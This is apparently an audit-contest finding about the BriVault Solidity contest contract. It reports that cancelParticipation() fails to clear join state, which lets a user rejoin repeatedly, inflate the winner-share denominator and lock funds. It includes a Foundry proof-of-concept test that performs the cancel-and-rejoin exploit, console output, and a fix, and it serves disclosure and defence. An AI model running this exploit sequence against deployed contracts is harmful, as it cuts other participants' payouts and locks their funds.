BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: medium
Valid

cancelParticipation() Fails to Reset Join Status, Allowing Users to Inflate Winner Share Calculations and Lock Funds Permanently

Description

The cancelParticipation() function is designed to allow users to exit the event before it starts, receiving a full refund of their staked assets. Upon cancellation, the function should completely reset all participation state to allow users to rejoin cleanly or ensure they are not counted in any event calculations.

However, cancelParticipation() only clears stakedAsset[msg.sender] and burns the user's shares, but fails to remove the user from the usersAddress array, reset numberOfParticipants, clear userToCountry mapping, or clear userSharesToCountry mappings. This incomplete state cleanup allows users to rejoin the event and be counted multiple times in the usersAddress array. When _getWinnerShares() loops through this array during winner calculation, duplicate entries cause totalWinnerShares to be artificially inflated, reducing all legitimate winners' payouts and permanently locking funds in the contract.

function cancelParticipation () public {
if (block.timestamp >= eventStartDate){
revert eventStarted();
}
uint256 refundAmount = stakedAsset[msg.sender];
stakedAsset[msg.sender] = 0; // ✅ Cleared
uint256 shares = balanceOf(msg.sender);
_burn(msg.sender, shares); // ✅ Burned
// @> usersAddress[] entry NOT removed - user remains in array
// @> numberOfParticipants NOT decremented - count stays inflated
// @> userToCountry[msg.sender] NOT cleared - old country choice persists
// @> userSharesToCountry[msg.sender][countryId] NOT cleared - old shares mapping persists
IERC20(asset()).safeTransfer(msg.sender, refundAmount);
}
function _getWinnerShares () internal returns (uint256) {
// @> Loops through usersAddress array which contains duplicates after cancel+rejoin
for (uint256 i = 0; i < usersAddress.length; ++i){
address user = usersAddress[i];
totalWinnerShares += userSharesToCountry[user][winnerCountryId]; // @> Counts same user multiple times
}
return totalWinnerShares;
}

Risk

Likelihood: High

  • Users can freely call cancelParticipation() before eventStartDate, then immediately deposit and rejoin using joinEvent(), creating duplicate entries with zero cost or friction

  • No validation exists in joinEvent() to prevent users who have previously joined (and cancelled) from rejoining

  • The attack is repeatable - malicious users can cancel and rejoin multiple times to multiply their counting in the winner shares calculation

  • The vulnerability is triggered automatically during the normal winner selection flow when setWinner() calls _getWinnerShares()

Impact: Critical

  • Fund Locking: Inflated totalWinnerShares acts as an artificially large denominator in the payout calculation Math.mulDiv(shares, vaultAsset, totalWinnerShares), causing all winners to receive proportionally less than entitled. The unclaimed difference remains permanently locked in the contract since no mechanism exists to withdraw it

  • Economic Loss for Winners: Legitimate winners suffer direct financial loss - if one user exploits the vulnerability to appear 3 times in the array while holding shares for 1 entry, winners collectively receive approximately 50% less payout than deserved (proven in PoC)

  • Participant Count Manipulation: numberOfParticipants becomes inaccurate, misleading users about event popularity and potentially affecting any future features that depend on accurate participant counts

  • Gas DOS Vector: Repeated cancel+rejoin cycles bloat the usersAddress array with duplicate entries, increasing gas costs for the _getWinnerShares() loop during setWinner(), potentially making winner selection prohibitively expensive or impossible

Proof of Concept

Add this test to your test suite:

function test_cancelParticipationDoesNotResetJoinStatus() public {
// Setup: Two legitimate users
vm.startPrank(user2);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user2);
briVault.joinEvent(10); // Japan
vm.stopPrank();
// Attacker: Cancel and rejoin 3 times with Japan
vm.startPrank(user1);
mockToken.approve(address(briVault), 20 ether);
briVault.deposit(5 ether, user1);
briVault.joinEvent(10); // Japan - 1st time
briVault.cancelParticipation();
briVault.deposit(5 ether, user1);
briVault.joinEvent(10); // Japan - 2nd time (duplicate entry created)
briVault.cancelParticipation();
briVault.deposit(5 ether, user1);
briVault.joinEvent(10); // Japan - 3rd time (another duplicate entry created)
vm.stopPrank();
// Verify user1 appears 3 times in usersAddress array
assertEq(briVault.usersAddress(0), user2, "Index 0 is user2");
assertEq(briVault.usersAddress(1), user1, "Index 1 is user1");
assertEq(briVault.usersAddress(2), user1, "Index 2 is user1 (duplicate)");
assertEq(briVault.usersAddress(3), user1, "Index 3 is user1 (duplicate)");
assertEq(briVault.numberOfParticipants(), 4, "Count shows 4 when only 2 unique users");
// Fast forward and set winner
vm.warp(eventEndDate + 1);
vm.prank(owner);
briVault.setWinner(10); // Japan wins
// Calculate expected vs actual totalWinnerShares
uint256 user1Shares = briVault.balanceOf(user1);
uint256 user2Shares = briVault.balanceOf(user2);
uint256 expectedWinnerShares = user1Shares + user2Shares; // Should be sum of unique winners
uint256 actualWinnerShares = briVault.totalWinnerShares(); // Inflated by duplicates
// Prove the inflation
assertEq(
actualWinnerShares,
user1Shares * 3 + user2Shares, // user1 counted 3 times!
"totalWinnerShares inflated by duplicate counting"
);
// Calculate financial impact
uint256 vaultBalance = briVault.finalizedVaultAsset();
uint256 user1ShouldGet = (user1Shares * vaultBalance) / expectedWinnerShares; // Fair share
uint256 user1WillGet = (user1Shares * vaultBalance) / actualWinnerShares; // Actual payout
uint256 user2ShouldGet = (user2Shares * vaultBalance) / expectedWinnerShares; // Fair share
uint256 user2WillGet = (user2Shares * vaultBalance) / actualWinnerShares; // Actual payout
// Prove winners receive less than deserved
assertLt(user1WillGet, user1ShouldGet, "User1 receives less due to inflated denominator");
assertLt(user2WillGet, user2ShouldGet, "User2 receives less due to inflated denominator");
// Calculate locked funds
uint256 totalLocked = (user1ShouldGet - user1WillGet) + (user2ShouldGet - user2WillGet);
console.log("Expected total winner shares:", expectedWinnerShares);
console.log("Actual total winner shares (INFLATED):", actualWinnerShares);
console.log("User1 should receive:", user1ShouldGet);
console.log("User1 will actually receive:", user1WillGet);
console.log("User2 should receive:", user2ShouldGet);
console.log("User2 will actually receive:", user2WillGet);
console.log("Total funds LOCKED forever:", totalLocked);
}

Console Output:

Expected total winner shares: 9850000000000000000
Actual total winner shares (INFLATED): 19700000000000000000
User1 should receive: 9850000000000000000
User1 will actually receive: 4925000000000000000
User2 should receive: 9850000000000000000
User2 will actually receive: 4925000000000000000
Total funds LOCKED forever: 9850000000000000000

This proves that 50% of the vault assets become permanently locked when a single user exploits the vulnerability.

Recommended Mitigation

Option 1: Add participation tracking flag (Recommended)

+ mapping(address => bool) public hasJoined;
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
+ if (hasJoined[msg.sender]) {
+ revert("Already joined event");
+ }
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
Updates

Appeal created

bube Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

`cancelParticipation` Leaves Stale Winner Data

CancelParticipation burns shares but leaves the address inside usersAddress and keeps userSharesToCountry populated.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!